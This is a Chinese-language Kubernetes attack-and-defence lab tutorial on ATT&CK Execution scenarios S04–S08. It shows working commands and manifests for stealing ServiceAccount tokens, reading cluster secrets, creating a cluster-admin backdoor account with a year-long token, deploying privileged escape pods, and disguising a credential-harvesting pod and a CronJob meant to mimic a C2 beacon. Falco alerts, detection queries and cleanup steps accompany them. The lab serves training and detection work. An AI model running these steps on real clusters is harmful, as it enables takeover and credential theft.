
ATT&CK TA0002 Execution——取得立足點後,攻擊者如何在 K8s 叢集中執行指令。
| 場景 | ATT&CK | 技術 | 攻擊手法 |
|---|---|---|---|
| S04 | T1059 | Command & Scripting Interpreter | Jupyter Notebook 未認證 → Web Shell |
| S05 | T1609 | Container Administration Command | SA Token → kubectl 控制叢集 |
| S06 | T1610 | Deploy Container | 利用 SA 權限部署特權 Pod |
| S07 | T1053 | Scheduled Task/Job | CronJob 定期回傳 C2 |
| S08 | T1204 | User Execution | 偽裝成監控工具的惡意 Pod |
Execution 是攻擊鏈中的樞紐階段。Initial Access 只是取得入口(SSRF、洩漏的 kubeconfig),攻擊者真正開始造成損害是在 Execution 階段。在傳統基礎設施中,Execution 通常意味著「執行一個惡意程式」;但在 K8s 環境中,Execution 有更多面向:

K8s 的 Execution 更危險,因為它是聲明式的——攻擊者不需要在目標機器上「執行」什麼,只需要透過 API 「宣告」一個新的工作負載,K8s 就會自動幫他執行。這也意味著傳統的 endpoint 防護(EDR、AV)很難偵測到這類攻擊。
所有指令都在 koad 專案目錄下執行。如果還沒 clone,請先參考 Day 1 的 Step 0。
開始前請確認以下環境就緒。
# 主機終端
kubectl get pods -n koad -l "koad-scenario in (S04,S05,S06,S07,S08)"
預期結果:
NAME READY STATUS RESTARTS AGE
jupyter-insecure-xxx 1/1 Running 0 ...
kubectl-pod-xxx 1/1 Running 0 ...
...
如果 Pod 不在 Running 狀態,重新部署:
kubectl apply -f scenarios/execution/ kubectl wait --for=condition=Ready pods -l "koad-scenario in (S04,S05,S06,S07,S08)" -n koad --timeout=120s
# 第二終端 — 左右並排觀察告警
kubectl logs -f -n falco -l app.kubernetes.io/name=falco | grep -i --color "koad\|shell\|kubectl\|privileged\|cronjob"
完成本日實作後,你將能夠:
Jupyter Notebook 是資料科學家常用的工具,但如果部署時沒有設定認證,任何人都可以透過瀏覽器存取——Jupyter 的 Terminal 功能本質上就是一個 Web Shell。
在真實世界中,暴露的 Jupyter Notebook 是最常見的 K8s 入侵入口之一。根據 Aqua Security 2024 年的報告,超過 40% 的 K8s 叢集至少有一個未認證的 Web UI 暴露在外。
攻擊者在偵察階段發現暴露的 Jupyter 後,攻擊流程如下:

containers:
- name: jupyter
image: jupyter/base-notebook:latest
# 關鍵:取消 token 和密碼認證
args: ["start-notebook.sh",
"--NotebookApp.token=''",
"--NotebookApp.password=''"]
ports:
- containerPort: 8888
--NotebookApp.token='' 和 --NotebookApp.password='' 讓 Jupyter 完全不需要認證。
args: ["start-notebook.sh",
"--NotebookApp.token=''", # 關閉 Token 認證——任何人可直接存取
"--NotebookApp.password=''"] # 關閉密碼認證——連登入頁面都沒有
ports:
- containerPort: 8888 # Jupyter 預設 port,搭配 NodePort 直接暴露
三個欄位的組合構成完整攻擊面:取消認證讓 Jupyter 變成公開 Web Shell,containerPort 搭配 Service 的 NodePort: 30088 讓它可從叢集外部存取。實務中常見於開發團隊「先跑起來再說」的部署——認證設定從來沒有被加回去。
S04 模擬的是最常見的 K8s 入侵入口之一:未認證的 Web UI。Jupyter Notebook 在資料科學團隊中極為普遍,而 Terminal 功能讓它等同於一個完整的 Web Shell。KOAD 選擇 Jupyter 而非 Kubernetes Dashboard 作為場景,因為 Jupyter 在企業環境中更常見、更容易被忽略——管理員通常不會把「資料分析工具」視為安全風險。Tesla 2018 年的挖礦事件正是透過類似入口被攻破的。
步驟 1–2 在主機終端執行,步驟 3–5 在 Jupyter Terminal(容器內)執行。
# 主機終端
minikube service jupyter-insecure -n koad --url
預期結果:
http://192.168.49.2:30088
Jupyter 透過 NodePort 暴露在
30088,且未設定任何認證機制。攻擊者只需掃到這個連接埠,就能直接存取完整的 Notebook 環境——這等同於一個不需要密碼的 Web Shell 入口。

在瀏覽器中打開上述 URL,點擊
New→Terminal,即可取得容器內的 Shell。

# Jupyter Terminal(容器內)
whoami
預期結果:
jovyan
確認目前使用者身份——
jovyan是 Jupyter 預設使用者,擁有 notebook 容器內的完整權限。
id
預期結果:
uid=1000(jovyan) gid=100(users) groups=100(users)
容器以非 root 使用者
jovyan(uid=1000)運行,看似安全,但這不影響攻擊者讀取自動掛載的 ServiceAccount Token。K8s 預設將 SA Token 掛載到所有 Pod,與容器內的使用者權限無關。

cat /var/run/secrets/kubernetes.io/serviceaccount/token
預期結果:
eyJhbGciOiJSUzI1NiIsImtpZCI6Im...
每個 Pod 預設自動掛載 ServiceAccount Token——這個 JWT 可直接用於 API Server 認證,是攻擊者在容器內最容易取得的憑證。
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
預期結果:
koad
SA Token 就這樣暴露了——攻擊者拿到 Token 後可以用
curl直接呼叫 K8s API。
Falco 觀察:讀取 SA Token 時,Falco 會觸發告警:
[WARNING] KOAD S04 Read sensitive file (pod=jupyter-insecure file=/var/run/secrets/kubernetes.io/serviceaccount/token)

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER="https://kubernetes.default.svc"
CACERT="/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"
curl -s --cacert $CACERT \
-H "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1/namespaces/koad/pods | \
python3 -c "import sys,json; [print(i['metadata']['name']) for i in json.load(sys.stdin)['items']]"
預期結果:
jupyter-insecure-xxx
attacker-xxx
ssrf-webapp-xxx
不需要安裝
kubectl,僅用curl就能列舉同 Namespace 的所有 Pod。這代表攻擊者已取得叢集的偵察能力,可以進一步鎖定高價值目標(如帶有 Secret 掛載的 Pod)。

curl -s --cacert $CACERT \
-H "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1/namespaces/koad/secrets | \
python3 -c "import sys,json; [print(i['metadata']['name']) for i in json.load(sys.stdin)['items']]"
預期結果:
database-credentials
default-token-xxx
踩坑提醒:很多安全工具只偵測
kubectl二進位檔的執行,但攻擊者可以用curl達到相同效果。你的偵測規則必須同時覆蓋 API 呼叫本身。

KOAD S04 Shell in Container
(container=jupyter pod=jupyter-insecure-xxx ns=koad
command=bash parent=start-notebook.sh)
Falco 偵測到容器內啟動了 shell process,但 parent process 不是預期的容器 entrypoint。
2018 年 Tesla 的 K8s 叢集被入侵,攻擊者正是透過未認證的 Jupyter Notebook(Kubernetes Dashboard)取得叢集存取權限,隨後部署挖礦程式。該案例完美展示了 S04 → S05 → S35 的攻擊鏈。
如果一個 Pod 的 ServiceAccount 被綁定了過高的 RBAC 權限(例如 cluster-admin),攻擊者只需要在 Pod 內安裝 kubectl,就能完全控制整個叢集。
在實務中,SA 權限過大的常見原因:
| 原因 | 說明 |
|---|---|
| 開發便利 | 「先給 cluster-admin 讓它能跑,之後再縮」 |
| 複製貼上 | 從範例或 Stack Overflow 抄來的 YAML |
| Helm Chart 預設值 | 某些 Chart 預設建立高權限 SA |
| CI/CD Pipeline | 部署工具需要建立多種資源 |
| Operator | 自訂 Controller 需要 watch 多種資源 |
這些「暫時」的高權限往往永遠不會被縮減。
S05 建立了一個綁定 cluster-admin 的 SA:
apiVersion: v1
kind: ServiceAccount
metadata:
name: overprivileged-sa
namespace: koad
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: koad-overprivileged-binding
subjects:
- kind: ServiceAccount
name: overprivileged-sa
namespace: koad
roleRef:
kind: ClusterRole
name: cluster-admin # ← 最高權限
apiGroup: rbac.authorization.k8s.io
kind: ClusterRoleBinding # ClusterRole 而非 Role——權限跨越所有 Namespace
roleRef:
kind: ClusterRole
name: cluster-admin # K8s 內建最高權限角色,等同 root
serviceAccountName: overprivileged-sa # Pod 自動掛載此 SA 的 Token
command: ["sh", "-c"]
args: ["sleep infinity"] # 保持 Pod 存活,等待攻擊者 exec 進入
關鍵設計:使用 ClusterRoleBinding(而非 RoleBinding)綁定 cluster-admin,讓這個 SA 的 Token 能操作所有 Namespace 的所有資源。Pod 使用 bitnami/kubectl 映像,預裝 kubectl 工具——攻擊者進入後不需要額外安裝任何東西就能操作叢集。sleep infinity 確保 Pod 不會退出,隨時可以被 exec 進入。
S05 模擬的是企業環境中最普遍的 RBAC 錯誤配置:ServiceAccount 被賦予過高權限。在實務中,開發者經常為了「讓 Pod 能正常運作」而綁定 cluster-admin,特別是在 CI/CD Pipeline、Operator 和 Helm Chart 中。KOAD 刻意讓 SA 綁定最高權限,展示「一個過度授權的 SA」如何讓攻擊者從單一 Pod 跳躍到完全控制叢集——包括讀取所有 Secret、建立後門、甚至刪除 Node。
步驟 1 從主機進入 Pod,步驟 2–5 在 Pod 內執行。
# 主機終端
kubectl exec -it -n koad deploy/kubectl-pod -- sh
預期結果:
/ #
成功進入 Pod 的 shell。這個 Pod 內預裝了
kubectl,且其 ServiceAccount 綁定了cluster-admin——攻擊者從這裡開始,就像拿到了叢集的「管理員終端機」。

# 容器內 (kubectl-pod)
kubectl auth can-i --list | head -5
預期結果:
Resources Non-Resource URLs Resource Names Verbs
*.* [] [] [*]
[*] [] [*]
*.*+[*]代表 cluster-admin,可以對所有資源做任何操作。

kubectl get ns
預期結果:
NAME STATUS AGE
default Active 2h
falco Active 1h
koad Active 2h
koad-production Active 2h
kube-system Active 2h
kyverno Active 1h
攻擊者已能列舉所有 Namespace,包括
kube-system和koad-production。這意味著攻擊範圍不限於目前 Namespace——cluster-admin讓攻擊者可以跨 Namespace 存取任何資源。

kubectl get secrets -A
預期結果:
NAMESPACE NAME TYPE DATA AGE
koad database-credentials Opaque 2 2h
koad-production production-db-creds Opaque 3 2h
一個
kubectl get secrets -A就暴露了所有 Namespace 的 Secret 名稱。攻擊者現在知道database-credentials和production-db-creds的存在,下一步就是解碼取得明文憑證。

kubectl get secret database-credentials -n koad -o jsonpath='{.data}' | base64 -d
預期結果:
{"password":"super_secret_db_password","username":"admin"}
從
kubectl get ns到讀取 Secret 內容,攻擊者在幾秒內完成「容器存取」到「叢集完全控制」的跳躍。
Falco 觀察:容器內執行
kubectl會觸發 Critical 告警:[CRITICAL] KOAD S05 kubectl Execution in Container (pod=kubectl-pod command=kubectl get secrets -A)

取得 cluster-admin 後,攻擊者通常會建立持久化後門:
kubectl create sa backdoor-sa -n kube-system
預期結果:
serviceaccount/backdoor-sa created
在 kube-system namespace 建立了後門 ServiceAccount——接下來要將 cluster-admin 權限綁定給它。
kubectl create clusterrolebinding backdoor-binding \
--clusterrole=cluster-admin \
--serviceaccount=kube-system:backdoor-sa
預期結果:
clusterrolebinding.rbac.authorization.k8s.io/backdoor-binding created
後門 SA 已綁定 cluster-admin——攻擊者現在可以用這個 SA 的 Token 完全控制叢集。
kubectl create token backdoor-sa -n kube-system --duration=8760h
預期結果:
eyJhbGciOiJSUzI1NiIsImtpZCI6...(長期有效的 Token)
防禦者視角:如果你在 Audit Log 中看到從 Pod IP 發出的
list secrets或create clusterrolebinding請求,這幾乎百分之百是攻擊行為——正常應用不會做這些操作。

KOAD S05 kubectl Execution in Container
(container=kubectl pod=kubectl-pod-xxx ns=koad
command=kubectl get pods -n koad)
攻擊鏈測試中,Falco 為 kubectl 操作產生了 30 筆 Critical 告警。
如果攻擊者擁有在 namespace 中建立 Pod 的權限,就能部署一個特權容器(privileged: true),取得接近宿主機 root 的能力。

特權容器本質上只是在容器的「外殼」裡運行一個宿主機等級的 process。
S06 的 ConfigMap 中內嵌了攻擊 Pod 的模板,拆解關鍵欄位:
spec:
hostPID: true # 共用宿主機 PID namespace——可以看到、操作所有 host process
hostNetwork: true # 共用宿主機網路——繞過所有 NetworkPolicy、直接存取 Node 網段
containers:
- securityContext:
privileged: true # 取得全部 Linux Capabilities + 存取所有 /dev 裝置
volumeMounts:
- mountPath: /host # 宿主機根目錄掛載到 /host
volumes:
- hostPath:
path: / # 掛載宿主機完整檔案系統
type: Directory
四層攻擊配置堆疊:privileged 取得所有 Capabilities,hostPID 突破 process 隔離,hostNetwork 繞過網路限制,hostPath: / 讓宿主機檔案系統完全可讀寫。任何一層都足以構成嚴重風險,四層疊加等同於直接在宿主機上取得 root shell。
S06 展示攻擊鏈中的關鍵跳躍:從「API 層面的存取」到「宿主機層面的控制」。在真實攻擊中,攻擊者取得 create pods 權限後的第一步就是部署特權容器。KOAD 將攻擊模板放在 ConfigMap 中,模擬攻擊者預先準備好的工具包——kubectl apply -f 一行指令就完成從容器到宿主機的逃逸。這也是為什麼 Admission Controller(Kyverno/OPA)阻擋特權 Pod 是 CKS 的重點考試領域。
CapEff: 000001ffffffffff 代表的完整 capabilities:
| Capability | 用途 | 攻擊利用 |
|---|---|---|
| CAP_SYS_ADMIN | 掛載檔案系統、namespace 操作 | 掛載宿主機 / 逃逸 |
| CAP_SYS_PTRACE | trace 其他 process | 注入 shellcode |
| CAP_NET_ADMIN | 網路配置 | 中間人攻擊 |
| CAP_DAC_OVERRIDE | 繞過檔案權限 | 讀取任意檔案 |
| CAP_SYS_RAWIO | 原始 I/O 操作 | 直接存取磁碟 |
| CAP_SYS_MODULE | 載入核心模組 | rootkit |
以下步驟從已入侵的 kubectl Pod 內(S05 延續)或主機終端執行。
# 容器內 (kubectl-pod) 或 主機終端
kubectl apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata:
name: attacker-priv
namespace: koad
spec:
containers:
- name: attacker
image: ubuntu:22.04
command: ["sleep", "infinity"]
securityContext:
privileged: true
EOF
預期結果:
pod/attacker-priv created
攻擊者利用 SA 的
create pods權限,部署了一個privileged: true的容器。K8s 忠實地執行了這個「合法」的 API 請求——沒有 Admission Controller(如 Kyverno/OPA)攔截,特權 Pod 就這樣被建立了。
Falco 觀察:特權 Pod 建立時,Falco 立即告警:
[CRITICAL] KOAD S13 Privileged Container Started (pod=attacker-priv)

kubectl exec attacker-priv -- cat /proc/self/status | grep CapEff
預期結果:
CapEff: 000001ffffffffff
000001ffffffffff表示容器擁有全部 Linux Capabilities——和宿主機 root 幾乎相同。

kubectl exec attacker-priv -- ls /dev | head -20
預期結果:
core
cpu
cpu_dma_latency
...
sda
sda1
可以看到
/dev/sda1——接下來就可以進行 Day 8-11 的容器逃逸。

kubectl auth can-i create pods 很危險kubectl auth can-i create pods -n koad
預期結果:
yes
能建立 Pod = 能部署特權容器 = 能逃逸到宿主機。這就是為什麼 CKS 考試強調 RBAC 最小權限——不要隨便給
create pods權限。
經驗豐富的攻擊者不一定需要 privileged: true,以下配置也能達到逃逸效果:
# 方法 1:直接掛載宿主機根目錄
spec:
volumes:
- name: host-root
hostPath:
path: /
containers:
- volumeMounts:
- name: host-root
mountPath: /host
# 方法 2:給予特定 capabilities
spec:
containers:
- securityContext:
capabilities:
add: ["SYS_ADMIN", "SYS_PTRACE"]
# 方法 3:hostPID + SYS_PTRACE
spec:
hostPID: true
containers:
- securityContext:
capabilities:
add: ["SYS_PTRACE"]
CKS 考點:CKS 考試常考「以下哪個 Pod spec 可能導致容器逃逸」,正確答案往往不只是
privileged: true,還包括上述各種組合。
CronJob 是 K8s 原生的排程機制。攻擊者可以建立看似正常的 CronJob(命名為 system-metrics-collector),實際上每 5 分鐘回呼 C2 伺服器。
| 特性 | 對攻擊者的好處 |
|---|---|
| K8s 原生 | 不需要在 Node 上安裝任何東西 |
| 自動重啟 | 即使 Pod 被刪除,CronJob 會重新建立 |
| 命名偽裝 | 可以取系統風格的名稱 |
| 日誌分散 | 每次執行是新 Pod,日誌不連續 |
| 權限繼承 | 使用指定的 ServiceAccount |
apiVersion: batch/v1
kind: CronJob
metadata:
name: system-metrics-collector # ← 偽裝成系統元件
namespace: koad
labels:
app.kubernetes.io/component: monitoring # ← 偽裝 label
app.kubernetes.io/managed-by: prometheus # ← 偽裝為 Prometheus 管理
spec:
schedule: "*/5 * * * *" # ← 每 5 分鐘執行一次
successfulJobsHistoryLimit: 1 # ← 只保留 1 個成功記錄,減少暴露
failedJobsHistoryLimit: 1
jobTemplate:
spec:
template:
spec:
serviceAccountName: overprivileged-sa # ← 繼承高權限
containers:
- name: collector
image: curlimages/curl:latest
command: ["/bin/sh", "-c"]
args:
- |
echo "[KOAD-S07] Simulated C2 callback at $(date)"
echo "In a real attack, this would:"
echo " - Phone home to C2 server"
echo " - Execute downloaded payloads"
echo " - Exfiltrate collected data"
restartPolicy: OnFailure
metadata:
name: system-metrics-collector # 偽裝命名——看起來像合法的 Prometheus 元件
schedule: "*/5 * * * *" # 每 5 分鐘觸發——維持 C2 通道的心跳頻率
successfulJobsHistoryLimit: 1 # 只保留最近 1 次記錄——減少 kubectl get jobs 暴露
failedJobsHistoryLimit: 1 # 失敗也只留 1 筆——降低被異常排查發現的機率
image: curlimages/curl:latest # 最小化映像——只需 curl 就能回傳 C2
serviceAccountName: overprivileged-sa # 繼承高權限——C2 回呼時可順便竊取叢集資料
restartPolicy: OnFailure # 失敗自動重試——確保 C2 通道的可靠性
整體設計模擬了真實攻擊者的操作手法:命名偽裝讓管理員忽略、短歷史記錄減少暴露面、輕量映像降低被掃描的機率。*/5 * * * * 的排程頻率在正常監控系統中偏高但不異常,剛好落在「不會立即引起注意」的灰色地帶。
S07 模擬的是 K8s 環境中最隱蔽的持久化手法。CronJob 是 K8s 原生資源,不需要在 Node 上安裝任何東西,也不會觸發傳統的 endpoint 防護。攻擊者刪除了初始入侵的 Pod,CronJob 仍會持續執行——而且每次執行都是新的 Pod,日誌不連續、難以追蹤。KOAD 選擇 curlimages/curl 而非更完整的攻擊工具映像,展示攻擊者只需要最小化的工具就能維持持久化。
# 建立 CronJob
$ kubectl apply -f cronjob-c2.yaml
# 等待觸發(或手動觸發)
$ kubectl create job --from=cronjob/system-metrics-collector test-run -n koad
# 查看執行結果
$ kubectl logs -n koad job/test-run
[KOAD-S07] Simulated C2 callback at Mon Aug 19 10:30:00 UTC 2026
# 列出所有 CronJob
$ kubectl get cronjobs -n koad
NAME SCHEDULE SUSPEND ACTIVE
etcd-backup 0 */6 * * * False 0
system-metrics-collector */5 * * * * False 0
# 檢查 CronJob 的映像和指令(關鍵偵測手法)
$ kubectl get cronjobs -A -o json | \
jq '.items[] | {
name: .metadata.name,
ns: .metadata.namespace,
schedule: .spec.schedule,
image: .spec.jobTemplate.spec.template.spec.containers[0].image,
sa: .spec.jobTemplate.spec.template.spec.serviceAccountName
}'
system-metrics-collector 看起來很正常,但 */5 * * * * 的高頻率排程加上 curlimages/curl 映像值得懷疑。偵測 CronJob 異常的指標:
| 指標 | 正常值 | 可疑值 |
|---|---|---|
| 排程頻率 | 每天/每週 | 每分鐘/每 5 分鐘 |
| 使用映像 | 業務應用映像 | curl/wget/busybox/alpine |
| SA 權限 | 最小權限 | cluster-admin |
| 建立者 | CI/CD Pipeline | Pod 內的 kubectl |
| 建立時間 | 工作時間 | 凌晨 / 週末 |
攻擊者建立一個看起來像合法監控工具的 Deployment(prometheus-node-monitor),誘導管理員認為這是正常的系統元件。
apiVersion: apps/v1
kind: Deployment
metadata:
name: prometheus-node-monitor # ← 偽裝成 Prometheus 元件
namespace: koad
labels:
app: prometheus-node-monitor
app.kubernetes.io/component: monitoring # ← 標準 K8s label
app.kubernetes.io/part-of: prometheus # ← 假裝屬於 Prometheus
app.kubernetes.io/managed-by: helm # ← 假裝由 Helm 部署
annotations:
# 假的 Helm 資訊讓 kubectl describe 看起來更像合法部署
meta.helm.sh/release-name: prometheus
meta.helm.sh/release-namespace: monitoring
spec:
replicas: 1
selector:
matchLabels:
app: prometheus-node-monitor
template:
spec:
containers:
- name: monitor
image: busybox:1.36
command: ["/bin/sh", "-c"]
args:
- |
while true; do
# 攻擊者的真正負載:竊取環境變數中的憑證
env | grep -i -E '(password|key|token|secret)' > /tmp/creds.txt
# 模擬 C2 回傳
echo "$(date) [KOAD-S08] Exfiltrating credentials"
sleep 300
done
管理員看到名稱和 label 會認為「這是監控團隊部署的」,不會懷疑。但實際上這個 Pod 可能在執行惡意操作。
metadata:
name: prometheus-node-monitor # 偽裝成 Prometheus 元件名稱
labels:
app.kubernetes.io/component: monitoring # 標準 K8s label——通過 label 篩選
app.kubernetes.io/part-of: prometheus # 假裝屬於 Prometheus 堆疊
app.kubernetes.io/managed-by: helm # 假裝由 Helm 部署——管理員不會質疑
annotations:
meta.helm.sh/release-name: prometheus # 讓 helm list 看起來正常
meta.helm.sh/release-namespace: monitoring # 偽造 release namespace
spec:
containers:
- image: busybox:1.36 # 實際映像與名稱不符——核心漏洞
ports:
- containerPort: 9090
name: metrics # 偽裝成 Prometheus metrics port
resources:
requests:
cpu: "50m"
memory: "64Mi" # 刻意設低——避免觸發資源告警
偽裝的核心在「名稱-映像不一致」:一個叫 prometheus-node-monitor 的 Pod 卻用 busybox 映像。管理員用 kubectl get pods 只會看到名稱,不會注意映像。偽造的 Helm annotations 更進一步——連 helm list 和 kubectl describe 都看不出破綻。
S08 模擬的是社會工程在 K8s 環境中的變體——不是欺騙人點擊連結,而是欺騙管理員相信一個惡意 Pod 是合法的系統元件。在大型叢集中,監控相關的 Pod(Prometheus、Grafana、node-exporter)數量多、分布廣,管理員早已習慣看到這些名稱。KOAD 選擇偽裝成 Prometheus 元件,因為它是 K8s 生態中最普遍的監控工具——幾乎每個生產叢集都有,管理員不會對多一個 Prometheus Pod 感到意外。
| 偽裝目標 | 命名模式 | 為什麼有效 |
|---|---|---|
| Prometheus | prometheus-, node-exporter- | 監控 Pod 到處都是 |
| Istio | istio-proxy-, envoy- | Sidecar 數量多 |
| Cert Manager | cert-manager-, acme- | 看似例行作業 |
| Logging | fluentd-, filebeat- | DaemonSet 每 Node 都有 |
| kube-system | kube-proxy-, coredns- | 系統元件不會被懷疑 |
# 找出不屬於已知 Helm Release 的 Pod
kubectl get pods -A -o json | \
jq '.items[] | select(
(.metadata.annotations // {} | has("meta.helm.sh/release-name")) and
(.metadata.namespace != "monitoring")
) | {name: .metadata.name, ns: .metadata.namespace}'
# 比對映像與命名的一致性
# prometheus-node-monitor 用的是 busybox 而不是 prom 映像 → 可疑!
kubectl get pods -A -o json | \
jq '.items[] | {
name: .metadata.name,
image: .spec.containers[0].image
} | select(.name | test("prometheus|monitor")) |
select(.image | test("prom|grafana") | not)'
Execution 階段是攻擊的轉折點——從「取得存取」變成「開始操作」:


| 場景 | Falco 規則 | 偵測方式 | 嚴重程度 |
|---|---|---|---|
| S04 | KOAD S04 Shell in Container | 偵測容器內 shell 啟動 | WARNING |
| S05 | KOAD S05 kubectl Execution | 偵測容器內 kubectl 執行 | CRITICAL |
| S06 | KOAD S13 Privileged Container | 偵測特權容器啟動 | CRITICAL |
| S07 | — | K8s Audit Log 偵測 CronJob 建立 | ALERT |
| S08 | — | Image 掃描 + 部署審核流程 | WARNING |
# 在 API Server audit log 中搜尋可疑的 Execution 操作
# 這些動詞 + 資源組合幾乎等於攻擊行為:
grep -E '"verb":"create".*"resource":"(pods|cronjobs|jobs|deployments)"' \
/var/log/kubernetes/audit/audit.log | \
jq 'select(.user.username | startswith("system:serviceaccount:koad:"))'
| 考點 | 本日內容 | 權重 |
|---|---|---|
| Container 安全 | 特權容器的危險性 | System Hardening 15% |
| RBAC 最小權限 | SA 過度授權 → 叢集控制 | Cluster Hardening 15% |
| Audit Logging | 偵測異常 API 呼叫 | Monitoring 20% |
| Admission Control | 阻擋特權 Pod 建立 | Minimize Microservice 20% |
題目:你發現一個在
koadNamespace 中的 Pod 正在執行kubectl get secrets -A。請說明你會如何調查此事件。
參考答案:
- 確認 Pod 的 ServiceAccount:
kubectl get pod <name> -o jsonpath='{.spec.serviceAccountName}'- 檢查 SA 的 RBAC 綁定:
kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name == "<sa>")'- 檢查 Audit Log 中該 SA 的所有操作
- 如果確認異常,隔離 Pod(NetworkPolicy)並保留證據
- 縮減 SA 權限並刪除不必要的 ClusterRoleBinding
完成攻擊演練後,清理攻擊過程中建立的資源:
# 主機終端(或從 kubectl-pod 內執行)
# 刪除 S06 部署的特權 Pod
kubectl delete pod attacker-priv -n koad --ignore-not-found
# 刪除 S05 建立的後門 SA 和 ClusterRoleBinding
kubectl delete sa backdoor-sa -n kube-system --ignore-not-found
kubectl delete clusterrolebinding backdoor-binding --ignore-not-found
# 刪除 S07 建立的 CronJob
kubectl delete cronjob system-metrics-collector -n koad --ignore-not-found
kubectl delete job test-run -n koad --ignore-not-found
# 如果還在容器內,退出回到主機
exit
攻擊場景的原始 Pod(jupyter-insecure、kubectl-pod)不需要刪除,它們是靶場的一部分。
| 問題 | 原因 | 解法 |
|---|---|---|
| Jupyter Notebook 頁面打不開 | NodePort 未暴露或 Pod 未就緒 | minikube service jupyter-insecure -n koad --url 取得 URL;確認 Pod 為 Running |
| 容器內找不到 SA Token | K8s 1.24+ 不自動建立 Secret 型 Token | Token 在 /var/run/secrets/kubernetes.io/serviceaccount/token(Bound Token),用 cat 讀取 |
kubectl 指令回傳 Forbidden |
SA 權限不足或用錯 ServiceAccount | kubectl auth can-i --list 檢查目前權限;確認 Pod 使用正確的 SA(`kubectl get pod -o yaml |
| CronJob 沒有產生 Pod | schedule 格式錯誤或 CronJob 被暫停 | kubectl get cronjob -n koad 確認 SUSPEND 欄位為 False;kubectl describe cronjob 查看 Events |
exec 進入 Pod 後指令沒反應 |
容器內沒有 shell 或 image 是 distroless | 嘗試 kubectl exec -it <pod> -- /bin/sh;distroless 映像無法 exec |
capsh --print 確認 Capabilities 全開kube-proxy-xxx)cluster-admin 的 SA 就讓攻擊者控制整個叢集每一種手法都是「合法的 K8s 操作」,這就是 K8s 安全最困難的地方——攻擊者不需要漏洞利用,只需要權限濫用。
明天 Day 5 防禦篇:Admission Control(Kyverno 阻擋特權 Pod)+ RBAC 最小權限設計。